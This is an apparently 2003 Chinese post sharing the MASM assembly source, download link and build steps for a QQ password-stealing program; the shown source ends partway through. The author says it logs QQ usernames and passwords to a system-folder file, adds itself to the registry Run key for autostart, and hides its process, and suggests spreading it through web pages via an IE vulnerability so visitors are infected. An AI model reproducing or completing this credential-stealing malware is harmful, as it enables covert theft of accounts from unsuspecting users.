你可以从这个程序学到如何利用汇编...的一些特别特性
程序下载地址:
locking.8u8.com/hack/asmqq.rar
这是一个我用了一天多编出来的运行在98环境下的
记录QQ密码的小程序,只有不到7KB
编程语言是win32汇编,我用的是MASM8.0编绎器
可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程
序要么被杀要么没更新用不到了....只好自已写一个,由于这
个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE
的洞洞让看过网页的人就中招..当然你还得改改程序,因为它
不具有发邮件的功能.
文件说明:
qqlog.txt c:windowssystem32目录下,密码就放这儿了
qqplus.exe 主程序,使用时放在system目录下,程序写注册表自启动
qqplus.asm 源文件
qq.rc 资源文件
findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法
str.asm 验证在文件中找是否有已知字串的小模块
readme.txt 这也要说明:)
编绎参数:
D:masm32BIN>type b.bat
ml /c /coff msg.asm
link /subsystem:windows msg.obj qq.res
czy 于03.06.15
.386
.model flat,stdcall
option casemap:none
include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/Advapi32.inc
includelib ../lib/Advapi32.lib
_PROCVAR2 typedef proto :dword,:dword
PROCVAR2 typedef ptr _PROCVAR2
.data
szcaption db hello asm!,0
sztext db hehe ,0
szqqtitle db ,0
sztext1 db cant find ,0
tx db 40 dup(0),0
pass db 16 dup(0),0
qqno db 40 dup(0),0
log db c:windowssystem32qqlog.txt,0
szFormat db %s %s,0dh,0Ah,0
regpath db SoftwareMicrosoftWindowsCurrentVersionRun,0
keyname db QQplus,0
exename db QQplus.exe,0
hkey dd ?
allnum dd ?
@szBuffer db 60 dup(0),0
canwrite db 0
;---------------------------------是否有重复记录
find db 相同用户名密码已在文件中存在,0
logall db 1024 dup(0),0
@hFile1 dd ?
p dd 0 ;开始一次匹配值设为1,终止一次匹配又改为0
k dd 0 ;在logall中找到多少个相同的字符了
q dd 0 ;保存在一次匹配*作中logall中的第一个字符的位置?
j dd 0 ;记录在logall中找到多少个字串来了
base dd 0 ;记录logall的地址
lenstr dd 0 ;记录匹配的字串的长度
len dd 0 ;记录文件长度
@szBuffer1 db 10 dup(0),0
szFormat1 db %d%s,0
;---------------------------------
.const
szregister db RegisterServiceProcessA,0
kerdll db kernel32.dll,0
.data?
hInstance dd ?
hWinMain dd ?
RegisterServiceProcessA PROCVAR2 ?
hDllInstance dd ?
.code
_isin proc
invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
;OPEN_ALWAYS:存在则打开,不存在就创建
mov @hFile1,eax
invoke GetFileSize,@hFile1,NULL ;得到文件长度
invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL
invoke CloseHandle,@hFile1
invoke lstrlen,addr logall ;得到字串总长
mov esi,offset len
mov [esi],eax ;并记录到len变量中
invoke lstrlen,offset @szBuffer ;得到要记当的用户名密码找度
mov esi,offset lenstr
mov [esi],eax
;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr
;invoke MessageBox,NULL,offset logall,offset @szBuffer,1
;上面的*作从文件中读出所有内容,下面就是比较
mov esi,offset logall
mov edi,offset @szBuffer
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
@@bg:
movzx eax,byte ptr [esi] ;logall
movzx ebx,byte ptr [edi] ;@szBuffer
mov ecx,len
.if j>ecx
jmp @@exit
.endif
.if eax==ebx
.if p==0 ;找到一个和hello的第一个字母相同的
inc p ;p设为1
mov edx,offset j
mov ecx,[edx]
mov q,ecx ;把j的值给Q
.endif
inc edi
inc esi
inc j
inc k